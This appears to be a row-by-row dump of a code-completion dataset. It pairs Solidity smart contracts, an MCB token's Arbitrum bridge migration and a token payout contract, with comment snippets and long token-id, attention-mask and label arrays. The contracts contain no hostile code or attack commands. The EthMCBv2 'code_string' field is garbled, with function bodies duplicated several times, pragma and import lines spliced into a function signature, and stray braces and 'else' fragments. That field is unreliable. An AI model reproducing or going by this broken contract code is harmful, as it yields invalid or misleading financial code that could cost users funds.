file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
---|---|---|---|---|---|---|
./full_match/40/0x637277e62C93fBd6B903E4961bAbe69c31fE1a90/sources/TeleportToken.sol
|
EOSIO token symbol name
|
symbol = "FORT";
| 9,542,137 |
[
1,
41,
51,
2320,
51,
1147,
3273,
508,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
3273,
273,
315,
42,
3871,
14432,
4766,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/presets/ERC20PresetMinterPauser.sol";
import {IInbox, IBridge, IOutbox} from "./IArbitrum.sol";
import {MCB} from "./MCB.sol";
/**
* @dev MCB token v2.0.0
*/
contract EthMCBv2 is MCB {
using Address for address;
address public inbox;
address public gateway;
address public l2Token;
event RegisterTokenOnL2(
address indexed gateway,
address indexed l2Token,
uint256 maxSubmissionCost,
uint256 maxGas,
uint256 gasPriceBid
);
event SetGateway(
address indexed gateway,
uint256 maxSubmissionCost,
uint256 maxGas,
uint256 gasPriceBid
);
event EscrowMint(address indexed minter, uint256 amount);
function migrateToArb(
address inbox_,
address gateway_,
address gatewayRouter_,
address l2Token_,
uint256 maxSubmissionCost1,
uint256 maxSubmissionCost2,
uint256 maxGas,
uint256 gasPriceBid
) external payable {
require(inbox == address(0), "already migrated");
require(gateway == address(0), "already migrated");
require(l2Token == address(0), "already migrated");
require(inbox_.isContract(), "inbox must be contract");
require(gateway_.isContract(), "gateway must be contract");
require(gatewayRouter_.isContract(), "gatewayRouter must be contract");
require(l2Token_ != address(0), "l1Token must be non-zero address");
inbox = inbox_;
gateway = gateway_;
l2Token = l2Token_;
uint256 gas1 = maxSubmissionCost1 + maxGas * gasPriceBid;
uint256 gas2 = maxSubmissionCost2 + maxGas * gasPriceBid;
require(msg.value == gas1 + gas2, "overpay");
// register token address to paring with arb-token.
{
bytes memory functionCallData = abi.encodeWithSignature(
"registerTokenToL2(address,uint256,uint256,uint256)",
l2Token,
maxGas,
gasPriceBid,
maxSubmissionCost1
);
_functionCallWithValue(
gateway,
functionCallData,
gas1,
"call registerTokenToL2 failed"
);
emit RegisterTokenOnL2(
gateway,
l2Token,
maxGas,
gasPriceBid,
maxSubmissionCost1
);
}
// register token to gateway.
{
bytes memory functionCallData = abi.encodeWithSignature(
"setGateway(address,uint256,uint256,uint256)",
gateway,
maxGas,
gasPriceBid,
maxSubmissionCost2
);
_functionCallWithValue(
gatewayRouter_,
functionCallData,
gas2,
"call setGateway failed"
);
emit SetGateway(gateway, maxGas, gasPriceBid, maxSubmissionCost2);
}
}
function migrateToArb2(address inbox_) external {
require(inbox == address(0), "already migrated");
inbox = inbox_;
}
/**
* @notice Mint tokens to gateway, so that tokens minted from L2 will be able to withdraw from arb->eth.
*/
function escrowMint(uint256 amount) external virtual {
address msgSender = _l2Sender();
require(msgSender == l2Token, "sender must be l2 token");
_mint(gateway, amount);
emit EscrowMint(msgSender, amount);
}
function _l2Sender() internal view virtual returns (address) {
IBridge bridge = IInbox(inbox).bridge();
require(address(bridge) != address(0), "bridge is zero address");
IOutbox outbox = IOutbox(bridge.activeOutbox());
require(address(outbox) != address(0), "outbox is zero address");
return outbox.l2ToL1Sender();
}
function proposal19() public virtual override {
revert("removed");
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"insufficient balance for call"
);
require(target.isContract(), "call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
uint256[50] private __gap;
}
|
* @dev MCB token v2.0.0/
|
contract EthMCBv2 is MCB {
using Address for address;
address public inbox;
address public gateway;
address public l2Token;
event RegisterTokenOnL2(
address indexed gateway,
address indexed l2Token,
uint256 maxSubmissionCost,
uint256 maxGas,
uint256 gasPriceBid
);
event SetGateway(
address indexed gateway,
uint256 maxSubmissionCost,
uint256 maxGas,
uint256 gasPriceBid
);
event EscrowMint(address indexed minter, uint256 amount);
function migrateToArb(
address inbox_,
address gateway_,
address gatewayRouter_,
address l2Token_,
uint256 maxSubmissionCost1,
uint256 maxSubmissionCost2,
uint256 maxGas,
uint256 gasPriceBid
pragma solidity 0.6.10;
import {IInbox, IBridge, IOutbox} from "./IArbitrum.sol";
import {MCB} from "./MCB.sol";
) external payable {
require(inbox == address(0), "already migrated");
require(gateway == address(0), "already migrated");
require(l2Token == address(0), "already migrated");
require(inbox_.isContract(), "inbox must be contract");
require(gateway_.isContract(), "gateway must be contract");
require(gatewayRouter_.isContract(), "gatewayRouter must be contract");
require(l2Token_ != address(0), "l1Token must be non-zero address");
inbox = inbox_;
gateway = gateway_;
l2Token = l2Token_;
uint256 gas1 = maxSubmissionCost1 + maxGas * gasPriceBid;
uint256 gas2 = maxSubmissionCost2 + maxGas * gasPriceBid;
require(msg.value == gas1 + gas2, "overpay");
{
bytes memory functionCallData = abi.encodeWithSignature(
"registerTokenToL2(address,uint256,uint256,uint256)",
l2Token,
maxGas,
gasPriceBid,
maxSubmissionCost1
);
_functionCallWithValue(
gateway,
functionCallData,
gas1,
"call registerTokenToL2 failed"
);
emit RegisterTokenOnL2(
gateway,
l2Token,
maxGas,
gasPriceBid,
maxSubmissionCost1
);
}
{
bytes memory functionCallData = abi.encodeWithSignature(
"setGateway(address,uint256,uint256,uint256)",
gateway,
maxGas,
gasPriceBid,
maxSubmissionCost2
);
_functionCallWithValue(
gatewayRouter_,
functionCallData,
gas2,
"call setGateway failed"
);
emit SetGateway(gateway, maxGas, gasPriceBid, maxSubmissionCost2);
}
}
) external payable {
require(inbox == address(0), "already migrated");
require(gateway == address(0), "already migrated");
require(l2Token == address(0), "already migrated");
require(inbox_.isContract(), "inbox must be contract");
require(gateway_.isContract(), "gateway must be contract");
require(gatewayRouter_.isContract(), "gatewayRouter must be contract");
require(l2Token_ != address(0), "l1Token must be non-zero address");
inbox = inbox_;
gateway = gateway_;
l2Token = l2Token_;
uint256 gas1 = maxSubmissionCost1 + maxGas * gasPriceBid;
uint256 gas2 = maxSubmissionCost2 + maxGas * gasPriceBid;
require(msg.value == gas1 + gas2, "overpay");
{
bytes memory functionCallData = abi.encodeWithSignature(
"registerTokenToL2(address,uint256,uint256,uint256)",
l2Token,
maxGas,
gasPriceBid,
maxSubmissionCost1
);
_functionCallWithValue(
gateway,
functionCallData,
gas1,
"call registerTokenToL2 failed"
);
emit RegisterTokenOnL2(
gateway,
l2Token,
maxGas,
gasPriceBid,
maxSubmissionCost1
);
}
{
bytes memory functionCallData = abi.encodeWithSignature(
"setGateway(address,uint256,uint256,uint256)",
gateway,
maxGas,
gasPriceBid,
maxSubmissionCost2
);
_functionCallWithValue(
gatewayRouter_,
functionCallData,
gas2,
"call setGateway failed"
);
emit SetGateway(gateway, maxGas, gasPriceBid, maxSubmissionCost2);
}
}
) external payable {
require(inbox == address(0), "already migrated");
require(gateway == address(0), "already migrated");
require(l2Token == address(0), "already migrated");
require(inbox_.isContract(), "inbox must be contract");
require(gateway_.isContract(), "gateway must be contract");
require(gatewayRouter_.isContract(), "gatewayRouter must be contract");
require(l2Token_ != address(0), "l1Token must be non-zero address");
inbox = inbox_;
gateway = gateway_;
l2Token = l2Token_;
uint256 gas1 = maxSubmissionCost1 + maxGas * gasPriceBid;
uint256 gas2 = maxSubmissionCost2 + maxGas * gasPriceBid;
require(msg.value == gas1 + gas2, "overpay");
{
bytes memory functionCallData = abi.encodeWithSignature(
"registerTokenToL2(address,uint256,uint256,uint256)",
l2Token,
maxGas,
gasPriceBid,
maxSubmissionCost1
);
_functionCallWithValue(
gateway,
functionCallData,
gas1,
"call registerTokenToL2 failed"
);
emit RegisterTokenOnL2(
gateway,
l2Token,
maxGas,
gasPriceBid,
maxSubmissionCost1
);
}
{
bytes memory functionCallData = abi.encodeWithSignature(
"setGateway(address,uint256,uint256,uint256)",
gateway,
maxGas,
gasPriceBid,
maxSubmissionCost2
);
_functionCallWithValue(
gatewayRouter_,
functionCallData,
gas2,
"call setGateway failed"
);
emit SetGateway(gateway, maxGas, gasPriceBid, maxSubmissionCost2);
}
}
function migrateToArb2(address inbox_) external {
require(inbox == address(0), "already migrated");
inbox = inbox_;
}
function escrowMint(uint256 amount) external virtual {
address msgSender = _l2Sender();
require(msgSender == l2Token, "sender must be l2 token");
_mint(gateway, amount);
emit EscrowMint(msgSender, amount);
}
function _l2Sender() internal view virtual returns (address) {
IBridge bridge = IInbox(inbox).bridge();
require(address(bridge) != address(0), "bridge is zero address");
IOutbox outbox = IOutbox(bridge.activeOutbox());
require(address(outbox) != address(0), "outbox is zero address");
return outbox.l2ToL1Sender();
}
function proposal19() public virtual override {
revert("removed");
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"insufficient balance for call"
);
require(target.isContract(), "call to non-contract");
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
(bool success, bytes memory returndata) = target.call{value: value}(
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert(errorMessage);
}
}
}
uint256[50] private __gap;
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert(errorMessage);
}
}
}
uint256[50] private __gap;
} else {
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert(errorMessage);
}
}
}
uint256[50] private __gap;
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert(errorMessage);
}
}
}
uint256[50] private __gap;
} else {
}
| 5,498,236 |
[
1,
49,
8876,
1147,
331,
22,
18,
20,
18,
20,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
512,
451,
49,
8876,
90,
22,
353,
490,
8876,
288,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
565,
1758,
1071,
27271,
31,
203,
565,
1758,
1071,
6878,
31,
203,
565,
1758,
1071,
328,
22,
1345,
31,
203,
203,
565,
871,
5433,
1345,
1398,
48,
22,
12,
203,
3639,
1758,
8808,
6878,
16,
203,
3639,
1758,
8808,
328,
22,
1345,
16,
203,
3639,
2254,
5034,
943,
17865,
8018,
16,
203,
3639,
2254,
5034,
943,
27998,
16,
203,
3639,
2254,
5034,
16189,
5147,
17763,
203,
565,
11272,
203,
565,
871,
1000,
5197,
12,
203,
3639,
1758,
8808,
6878,
16,
203,
3639,
2254,
5034,
943,
17865,
8018,
16,
203,
3639,
2254,
5034,
943,
27998,
16,
203,
3639,
2254,
5034,
16189,
5147,
17763,
203,
565,
11272,
203,
565,
871,
512,
1017,
492,
49,
474,
12,
2867,
8808,
1131,
387,
16,
2254,
5034,
3844,
1769,
203,
203,
565,
445,
13187,
774,
686,
70,
12,
203,
3639,
1758,
27271,
67,
16,
203,
3639,
1758,
6878,
67,
16,
203,
3639,
1758,
6878,
8259,
67,
16,
203,
3639,
1758,
328,
22,
1345,
67,
16,
203,
3639,
2254,
5034,
943,
17865,
8018,
21,
16,
203,
3639,
2254,
5034,
943,
17865,
8018,
22,
16,
203,
3639,
2254,
5034,
943,
27998,
16,
203,
3639,
2254,
5034,
16189,
5147,
17763,
203,
683,
9454,
18035,
560,
374,
18,
26,
18,
2163,
31,
203,
5666,
288,
45,
382,
2147,
16,
467,
13691,
16,
467,
1182,
2147,
97,
628,
25165,
45,
686,
3682,
86,
379,
18,
18281,
14432,
203,
5666,
288,
49,
8876,
97,
628,
25165,
2
] |
./full_match/4/0xab634C0A77D84aB44a6b4Bc36a0a34b9B997c279/sources/contracts/jpyc-eth.sol
|
トークンによって小数点が違うのでそれぞれの小数点を取得
|
uint decimals = IERC20(_tokenAddress).decimals();
| 12,515,663 |
[
1,
164,
230,
235,
164,
230,
125,
164,
229,
112,
164,
230,
116,
164,
228,
109,
164,
229,
235,
164,
228,
101,
164,
228,
104,
166,
113,
242,
167,
248,
113,
168,
229,
122,
164,
228,
239,
170,
228,
248,
164,
228,
233,
164,
228,
111,
164,
228,
105,
164,
228,
256,
164,
229,
239,
164,
228,
257,
164,
229,
239,
164,
228,
111,
166,
113,
242,
167,
248,
113,
168,
229,
122,
164,
229,
245,
166,
242,
249,
166,
127,
250,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
202,
11890,
15105,
273,
467,
654,
39,
3462,
24899,
2316,
1887,
2934,
31734,
5621,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/math/SafeMath.sol';
import 'zeppelin-solidity/contracts/token/ERC20/MintableToken.sol';
import './Whitelist.sol';
/**
* @title Payout
* @dev Payout capacity: eth sent to this contract (by Tokenestate) will be distributed to their token holders
*/
contract Payout is MintableToken, Whitelist {
using SafeMath for uint256;
// Not every year equals 365 days, because of leap year, and not even every day has 24 hours, because of leap seconds
// We don't need strong precision here because we want the token holders should claim his
// payout during min 5 years.
uint256 public payoutTimeout = 5 years + 2 days;
//Payout not accounted yet to make system rounding error proof
uint256 public rounding = 0;
struct Beneficiary {
uint256 nbTokens;
bool isNbSharesInitialized;
bool hasClaimed;
}
struct PayoutObject {
string addr; //Uri of payout document
bytes32 hash; //Hash of the uri content for checking
uint256 startTime;
uint256 endTime;
uint256 totalWei;
uint256 nbWeiPerToken;
uint256 totalWeiPayed;
mapping(address => Beneficiary) beneficiaries;
}
PayoutObject[] public payoutObjects;
event PayoutAvailable(string addr, bytes32 hash, uint256 startTime, uint256 endTime, uint256 totalWei, uint256 nbWeiPerToken, uint256 payoutId);
event PayoutClaimed(address addr, uint256 nbTokens, uint256 nbWeiPerToken, uint256 amount, uint256 payoutId);
/**
* @dev Submit a payout Object
* @param _addr Uri of payout document.
* @param _hash Hash of the uri content.
*/
function payoutObject(string _addr, bytes32 _hash) onlyOwner public payable {
//require(!shouldRemovePayoutObject(0)); // Remove expired payout first
require(_hash != bytes32(0));
require(bytes(_addr).length > 0);
require(msg.value > 0);
uint256 _totalWei = msg.value;
uint256 _nbWeiPerToken = nbWeiPerToken(_totalWei);
_totalWei = _nbWeiPerToken.mul(totalSupply_); // After rounding
uint256 _endTime = now.add(payoutTimeout);
payoutObjects.push(PayoutObject({
addr: _addr,
hash: _hash,
startTime: now,
endTime: _endTime,
totalWei: _totalWei,
nbWeiPerToken: _nbWeiPerToken,
totalWeiPayed: 0
}));
PayoutAvailable(_addr, _hash, now, _endTime, _totalWei, _nbWeiPerToken, payoutObjects.length-1);
}
/**
* @dev Returns the number of Wei available per token and update rounding accordingly
* @param valueWei Number of Wei available for all tokens.
*/
// TODO: separate concerns and improve method name
function nbWeiPerToken(uint256 valueWei) internal returns (uint256) {
uint256 totalWei = valueWei.add(rounding); // add old rounding
rounding = totalWei % totalSupply_; // ensure no rounding error
return totalWei.sub(rounding).div(totalSupply_); // weiPerToken
}
/**
* @dev Returns true if the payout has expired
* @param payoutId Id of payout to check.
*/
function isPayoutExpired(uint8 payoutId) public view returns (bool) {
return payoutObjects[payoutId].endTime < now;
}
/**
* @dev No payment to the contract should be possible with fallback method
*/
function() public payable {
revert();
}
/**
* @dev Initialize the number of shares for payout for a beneficiary if needed
* @param addr The address to initialize.
* @param balance The number of shares.
*/
function initNbSharesForPayoutIfNeeded(address addr, uint256 balance) internal {
for (uint8 payoutId = 0; payoutId < payoutObjects.length; payoutId++) {
Beneficiary memory beneficiary = payoutObjects[payoutId].beneficiaries[addr];
if(!beneficiary.isNbSharesInitialized) {
initNbSharesForPayout(addr, balance, payoutId);
}
}
}
/**
* @dev Initialize the number of shares for payout for a beneficiary
* @param addr The address to initialize.
* @param balance The number of shares.
* @param payoutId Id of payout to update.
*/
function initNbSharesForPayout(address addr, uint256 balance, uint8 payoutId) internal {
Beneficiary storage beneficiary = payoutObjects[payoutId].beneficiaries[addr];
beneficiary.isNbSharesInitialized = true;
beneficiary.nbTokens = balance;
}
/**
* @dev Returns false if no payout Object, true otherwise
*/
function hasPayout() public view returns (bool) {
return payoutObjects.length > 0;
}
/**
* @dev Returns the number of shares available for an account
* @param addr The address to enquire.
* @param payoutId Id of payout to update.
*/
function showNbShares(address addr, uint8 payoutId) public constant returns (uint256) {
PayoutObject memory payout = payoutObjects[payoutId];
if (now < payout.endTime) {
Beneficiary memory beneficiary = payoutObjects[payoutId].beneficiaries[addr];
if (beneficiary.hasClaimed) {
return 0;
}
if(beneficiary.isNbSharesInitialized) {
return beneficiary.nbTokens;
}
return balances[addr];
}
return 0;
}
/**
* @dev Send payout amount on caller address
* @param payoutId Id of claimed payout.
*/
function claimPayout(uint8 payoutId) payoutExist(payoutId) isWhitelisted(msg.sender) public {
require(!isPayoutExpired(payoutId));
uint256 nbTokens = showNbShares(msg.sender, payoutId);
require(nbTokens > 0);
PayoutObject storage payout = payoutObjects[payoutId];
Beneficiary storage beneficiary = payout.beneficiaries[msg.sender];
require(!beneficiary.hasClaimed);
beneficiary.hasClaimed = true;
uint256 payoutAmount = payout.nbWeiPerToken.mul(nbTokens);
payout.totalWeiPayed += payoutAmount;
require(payout.totalWeiPayed <= payout.totalWei);
PayoutClaimed(msg.sender, nbTokens, payout.nbWeiPerToken, payoutAmount, payoutId);
assert(msg.sender.send(payoutAmount));
}
/**
* @dev Throws if paout doesn't exist
* @param payoutId Id of claimed payout.
*/
modifier payoutExist(uint8 payoutId) {
require(payoutObjects.length > payoutId);
_;
}
/**
* @dev Send non claimed payout amount to the contract owner address
* @param payoutId Id of expired payout.
*/
function withdrawExpiredPayout(uint8 payoutId) onlyOwner payoutExist(payoutId) public {
require(isPayoutExpired(payoutId));
PayoutObject storage payout = payoutObjects[payoutId];
uint256 withdrawAmount = payout.totalWei - payout.totalWeiPayed;
require(withdrawAmount > 0);
payout.totalWeiPayed += withdrawAmount;
assert(owner.send(withdrawAmount));
}
/**
* @dev Set timeout for payout
* @param _payoutTimeout Timeout for expired payout.
*/
function setPayoutTimeout(uint256 _payoutTimeout) onlyOwner public {
require(_payoutTimeout > 1 years);
payoutTimeout = _payoutTimeout;
}
}
|
* @dev Send non claimed payout amount to the contract owner address @param payoutId Id of expired payout./
|
function withdrawExpiredPayout(uint8 payoutId) onlyOwner payoutExist(payoutId) public {
require(isPayoutExpired(payoutId));
PayoutObject storage payout = payoutObjects[payoutId];
uint256 withdrawAmount = payout.totalWei - payout.totalWeiPayed;
require(withdrawAmount > 0);
payout.totalWeiPayed += withdrawAmount;
assert(owner.send(withdrawAmount));
}
| 12,664,958 |
[
1,
3826,
1661,
7516,
329,
293,
2012,
3844,
358,
326,
6835,
3410,
1758,
225,
293,
2012,
548,
3124,
434,
7708,
293,
2012,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
